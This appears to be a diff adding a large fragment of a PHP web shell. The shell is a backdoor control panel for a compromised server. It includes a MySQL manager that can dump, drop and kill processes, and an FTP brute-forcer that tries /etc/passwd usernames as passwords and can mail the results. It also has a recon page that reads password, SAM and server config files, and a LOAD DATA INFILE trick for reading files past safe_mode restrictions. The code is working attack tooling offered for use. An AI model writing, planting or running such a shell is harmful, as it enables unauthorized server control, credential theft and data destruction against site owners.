"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if ($act == "gofile") { + if (is_dir($f)) { $act = "ls"; $d = $f; } + else { $act = "f"; $d = dirname($f); $f = basename($f); } + } + ## HEADERS ## + @ob_start(); + @ob_implicit_flush(0); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); + $safemode = safemode(); + if ($safemode) { + $hsafemode = "SAFE MODE IS ON"; + $safemodeexecdir = @ini_get("safe_mode_exec_dir"); + } + else { $hsafemode = "SAFE MODE IS OFF"; } + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") { + $openbasedir = TRUE; + $hopenbasedir = "".$v.""; + } + else { + $openbasedir = FALSE; + $hopenbasedir = "OFF (not secure)"; + } + +################## +##[ HTML START ]## +################## +function srv_info($title,$contents) { + echo "$title:$contents\n"; +} +echo htmlhead($hsafemode); +echo ""; +echo "\n"; +echo "\n". + "\n"; +echo "\n"; +echo "\n"; +echo "\n". + "\n
\n"; +echo "
$hsafemode
\n"; +echo "
"; +echo "IP Address: ".@gethostbyname($_SERVER["HTTP_HOST"])." ". + "You: ".$_SERVER["REMOTE_ADDR"]." ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "
\n
\n"; +echo "\n"; +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("Uname",php_uname()); +srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : exexec("id")); +echo "
\n"; +echo "\n"; +srv_info("Freespace",disp_freespace($d)); +echo "
\n"; +echo get_status(); +echo "
\n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."
\n" : ""; +echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : ""; +echo "
"; +echo "

\n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR."\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "[OK]"; + echo "".view_perms(fileperms($d)).""; +} +else { + $wd = FALSE; + $wdt = "[Read-Only]"; + echo "".view_perms_color($d).""; +} +echo "\n

\n"; +?> +
+
+Directory: +
+
+
+\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "

Attention! MySQL Manager is NOT a ready module! Don't reports bugs.

". + "". + ""; + if (!$sql_sock) { + echo ""; +} +echo "
"; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.
"; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + } + echo "
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • "; + echo ""; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?>
    Please, fill the form:
    UsernamePasswordDatabase
    HostPORT
    ">Home
    + ".htmlspecialchars($sql_db)." ]---
    "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?>
    Home
    +

    Please, select database
    +
    "; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
    "; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "
    "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



    ";} + } + if (in_array($sql_act,$acts)) { + ?> +
    Create new table: +
    + + + + + + + + + +
    Dump DB: +
    + + + + + + ">
    + ";} + if ($sql_act == "newtbl") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "
    SQL-Dump:

    "; + echo "DB:

    "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

    "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

    "; + echo "Download:  

    "; + echo "Save to file:  "; + echo "



    1 - all, if empty"; + echo "
    "; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; + echo "[ Structure ]   "; + echo "[ Browse ]   "; + echo "[ Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "

    Inserting row into table:
    "; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
    "; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

    "; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
    "; + echo "\"Pages\" "; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
    From:  To:  
    "; + echo "
    "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."\"".$m."\"";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
    Action
    ".$v.""; + echo "\"Delete\" "; + echo "\"Edit\" "; + echo "

     

    "; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
    "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    +
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; + if ($sql_act == "newdb") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
    Server-status variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
    Server variables:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "Process #".$kill." was killed."; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
    Processes:

    "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} + else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "
    \n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
    Affected rows : ".$affected."
    \n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "
    "; +echo "". + "". + "". + "". + "". + "
    "; +echo ".: Ftp Quick Brute :.
    "; +if ($win) { echo "Can't run on Windows!"; } +else { + function exftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (exftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."exsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "
    ". + "Read first:
    Users only with shell
    Logging
    Logging to file:
    Logging to e-mail:
    "; + } + echo "
    "; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "
    $d is a not a Directory!
    "; } + else { + echo "Directory information:"; + if (!$win) { + echo "
    Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
    "; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); exshexit();} +if ($act == "security") { + echo "
    .: Server Security Information :.
    \n". + "\n". + "\n"; + echo "\n"; + echo ""; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",exexec("cat /proc/version")); + displaysecinfo("Kernel Version",exexec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",exexec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",exexec("cat /etc/*-realise")); + displaysecinfo("CPU Info",exexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",exexec("free -m")); + displaysecinfo("HDD Space",exexec("df -h")); + displaysecinfo("List of Attributes",exexec("lsattr -a")); + displaysecinfo("Mount Options",exexec("cat /etc/fstab")); + displaysecinfo("lynx installed?",exexec("which lynx")); + displaysecinfo("links installed?",exexec("which links")); + displaysecinfo("GET installed?",exexec("which GET")); + displaysecinfo("Where is Apache?",exexec("whereis apache")); + displaysecinfo("Where is perl?",exexec("whereis perl")); + displaysecinfo("Locate proftpd.conf",exexec("locate proftpd.conf")); + displaysecinfo("Locate httpd.conf",exexec("locate httpd.conf")); + displaysecinfo("Locate my.conf",exexec("locate my.conf")); + displaysecinfo("Locate psybnc.conf",exexec("locate psybnc.conf")); + } + else { + displaysecinfo("OS Version",exexec("ver")); + displaysecinfo("Account Settings",exexec("net accounts")); + displaysecinfo("User Accounts",exexec("net user")); + } + echo "
    Open Base Dir".$hopenbasedir."
    Password File"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
    "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
    From:  To:  

    "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
    "; + } + $i++; + } + } + else {echo "Download /etc/passwd";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "Download password file"; } + } + echo "
    Config Files\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ ".$sec_arr[0]." ] \n"; + } + } + echo "
    ".$name."
    ".wordwrap($value,100)."
    \n"; +} +if ($act == "mkfile") { + if ($mkfile != $d) { + if ($overwrite == 0) { + if (file_exists($mkfile)) { echo "FILE EXIST: $overwrite ".htmlspecialchars($mkfile); } + } + else { + if (!fopen($mkfile,"w")) { echo "ACCESS DENIED: ".htmlspecialchars($mkfile); } + else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); } + } + } + else { echo "
    Enter filename!
    \r\n"; } +} +if ($act == "encoder") { +echo "". + "
    ". + "". + "
    ". + "". + "". + ""; +foreach(array("md5","crypt","sha1","crc32") as $v) { + echo ""; +} +echo "". + "". + "". + "". + "". + "". + "". + "
    .: Encoder :.
    Input:
    ". + "
    Hashes:".$v.":
    Url:urlencode:
    urldecode:
    Base64:base64_encode:
